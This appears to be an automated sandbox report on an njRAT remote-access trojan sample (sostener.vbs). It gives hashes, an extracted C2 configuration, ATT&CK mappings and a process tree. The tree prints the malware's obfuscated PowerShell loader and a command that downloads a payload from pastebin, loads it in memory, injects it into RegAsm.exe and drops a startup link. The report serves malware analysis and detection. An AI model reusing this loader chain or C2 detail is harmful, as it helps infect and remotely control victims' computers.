njrat | 48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559

Analysis

max time kernel
147s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2024 06:56

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General

Target

sostener.vbs
Size

15.4MB
MD5

3ac2f2a9e0ea75fabc9cd17a6cfad0c5
SHA1

918caec409f9a49bc055bbfb02d458c131724c83
SHA256

48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559
SHA512

be4ce3a8489eb2ac441a9ea7c61f93f1b64a4e8435f8bcfbad0c0d83fcc1b7d6e6b5c3b0309616b7ed2bcbd173ce5427e257e14dc84e491766ffbc51af3a1327
SSDEEP

192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHM:qXmHsr0+uF8

Score

10^/10

njrat nyan cat discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

sundsvall00020.duckdns.org:3737

Mutex

30e36121f3f1488e82

Attributes

reg_key
30e36121f3f1488e82
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
12	1492	powershell.exe
14	1492	powershell.exe
18	1492	powershell.exe
24	1492	powershell.exe
29	1492	powershell.exe
35	1492	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___Invictus_________________________________________-------.lnk	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4092	powershell.exe
1492	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
10	pastebin.com
14	pastebin.com
17	bitbucket.org
18	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1492 set thread context of 4708	1492	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4092	powershell.exe
4092	powershell.exe
1492	powershell.exe
1492	powershell.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
1492	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe
Token: 33	4708	RegAsm.exe
Token: SeIncBasePriorityPrivilege	4708	RegAsm.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 4092	2732	WScript.exe	91
PID 2732 wrote to memory of 4092	2732	WScript.exe	91
PID 4092 wrote to memory of 1492	4092	powershell.exe	93
PID 4092 wrote to memory of 1492	4092	powershell.exe	93
PID 1492 wrote to memory of 5036	1492	powershell.exe	94
PID 1492 wrote to memory of 5036	1492	powershell.exe	94
PID 1492 wrote to memory of 2836	1492	powershell.exe	98
PID 1492 wrote to memory of 2836	1492	powershell.exe	98
PID 1492 wrote to memory of 2836	1492	powershell.exe	98
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99
PID 1492 wrote to memory of 4708	1492	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B4☆Hc☆cQB6☆Hg☆I☆☆9☆C☆☆Jw☆w☆DM☆Jw☆7☆CQ☆YgB4☆HY☆YwBy☆C☆☆PQ☆g☆Cc☆JQBw☆Ho☆QQBj☆E8☆ZwBJ☆G4☆TQBy☆CU☆Jw☆7☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBy☆HY☆aQBj☆GU☆U☆Bv☆Gk☆bgB0☆E0☆YQBu☆GE☆ZwBl☆HI☆XQ☆6☆Do☆UwBl☆HI☆dgBl☆HI☆QwBl☆HI☆d☆Bp☆GY☆aQBj☆GE☆d☆Bl☆FY☆YQBs☆Gk☆Z☆Bh☆HQ☆aQBv☆G4☆QwBh☆Gw☆b☆Bi☆GE☆YwBr☆C☆☆PQ☆g☆Hs☆J☆B0☆HI☆dQBl☆H0☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆I☆☆9☆C☆☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆GM☆dQBy☆Gk☆d☆B5☆F☆☆cgBv☆HQ☆bwBj☆G8☆b☆BU☆Hk☆c☆Bl☆F0☆Og☆6☆FQ☆b☆Bz☆DE☆Mg☆7☆Fs☆QgB5☆HQ☆ZQBb☆F0☆XQ☆g☆CQ☆agBr☆G8☆cwBz☆C☆☆PQ☆g☆Fs☆cwB5☆HM☆d☆Bl☆G0☆LgBD☆G8☆bgB2☆GU☆cgB0☆F0☆Og☆6☆EY☆cgBv☆G0☆QgBh☆HM☆ZQ☆2☆DQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆C☆☆K☆BO☆GU☆dw☆t☆E8☆YgBq☆GU☆YwB0☆C☆☆TgBl☆HQ☆LgBX☆GU☆YgBD☆Gw☆aQBl☆G4☆d☆☆p☆C4☆R☆Bv☆Hc☆bgBs☆G8☆YQBk☆FM☆d☆By☆Gk☆bgBn☆Cg☆JwBo☆HQ☆d☆Bw☆Do☆Lw☆v☆H☆☆YQBz☆HQ☆ZQBi☆Gk☆bg☆u☆GM☆bwBt☆C8☆cgBh☆Hc☆LwBW☆Dk☆eQ☆1☆FE☆NQB2☆HY☆Jw☆p☆C☆☆KQ☆g☆Ck☆OwBb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QQBw☆H☆☆R☆Bv☆G0☆YQBp☆G4☆XQ☆6☆Do☆QwB1☆HI☆cgBl☆G4☆d☆BE☆G8☆bQBh☆Gk☆bg☆u☆Ew☆bwBh☆GQ☆K☆☆k☆Go☆awBv☆HM☆cw☆p☆C4☆RwBl☆HQ☆V☆B5☆H☆☆ZQ☆o☆Cc☆V☆Bl☆Gg☆dQBs☆GM☆a☆Bl☆HM☆W☆B4☆Fg☆e☆B4☆C4☆QwBs☆GE☆cwBz☆DE☆Jw☆p☆C4☆RwBl☆HQ☆TQBl☆HQ☆a☆Bv☆GQ☆K☆☆n☆E0☆cwBx☆EI☆SQBi☆Fk☆Jw☆p☆C4☆SQBu☆HY☆bwBr☆GU☆K☆☆k☆G4☆dQBs☆Gw☆L☆☆g☆Fs☆bwBi☆Go☆ZQBj☆HQ☆WwBd☆F0☆I☆☆o☆Cc☆W☆B1☆E0☆TgB1☆FQ☆a☆Bp☆C8☆dwBh☆HI☆LwBt☆G8☆Yw☆u☆G4☆aQBi☆GU☆d☆Bz☆GE☆c☆☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆GI☆e☆B2☆GM☆cg☆g☆Cw☆I☆☆n☆F8☆XwBf☆Ek☆bgB2☆Gk☆YwB0☆HU☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hg☆dwBx☆Ho☆e☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$xwqzx = '03';$bxvcr = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $jkoss = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($jkoss).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $bxvcr , '___Invictus_________________________________________-------', $xwqzx, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5036
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2836
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3932,i,4356837537417149674,16553092232944545509,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:8
1⤵
PID:1456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6fe7f2ff9f024b0658a4113e39b826fc

SHA1
07a0d4ec3b19b62fd409ddb60e843021ac40f1f3

SHA256
e8f1c76e1435d42070f4d6c600c2301710b291674c00ef9c069508f0fea69cf1

SHA512
64448c79c9070cbc179df72420c1d86d10ea2ff8ae0d9c3fed5676851cb45a64e65a9d637a1f8f41ecf4dc51c3d5ff8a689519d9ea13d9837b3f9cfaddd13979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1f5abawu.uf5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1492-35-0x000001A362050000-0x000001A36205A000-memory.dmp

Filesize
40KB

Download
memory/1492-22-0x000001A362010000-0x000001A362018000-memory.dmp

Filesize
32KB

Download
memory/4092-12-0x00007FFAC73A0000-0x00007FFAC7E61000-memory.dmp

Filesize
10.8MB

Download
memory/4092-0-0x00007FFAC73A3000-0x00007FFAC73A5000-memory.dmp

Filesize
8KB

Download
memory/4092-11-0x00007FFAC73A0000-0x00007FFAC7E61000-memory.dmp

Filesize
10.8MB

Download
memory/4092-10-0x000001EDF64D0000-0x000001EDF64F2000-memory.dmp

Filesize
136KB

Download
memory/4092-42-0x00007FFAC73A0000-0x00007FFAC7E61000-memory.dmp

Filesize
10.8MB

Download
memory/4708-36-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/4708-43-0x0000000005050000-0x00000000050EC000-memory.dmp

Filesize
624KB

Download
memory/4708-44-0x00000000056A0000-0x0000000005C44000-memory.dmp

Filesize
5.6MB

Download
memory/4708-45-0x00000000052A0000-0x0000000005332000-memory.dmp

Filesize
584KB

Download
memory/4708-46-0x0000000005230000-0x000000000523A000-memory.dmp

Filesize
40KB

Download
memory/4708-47-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download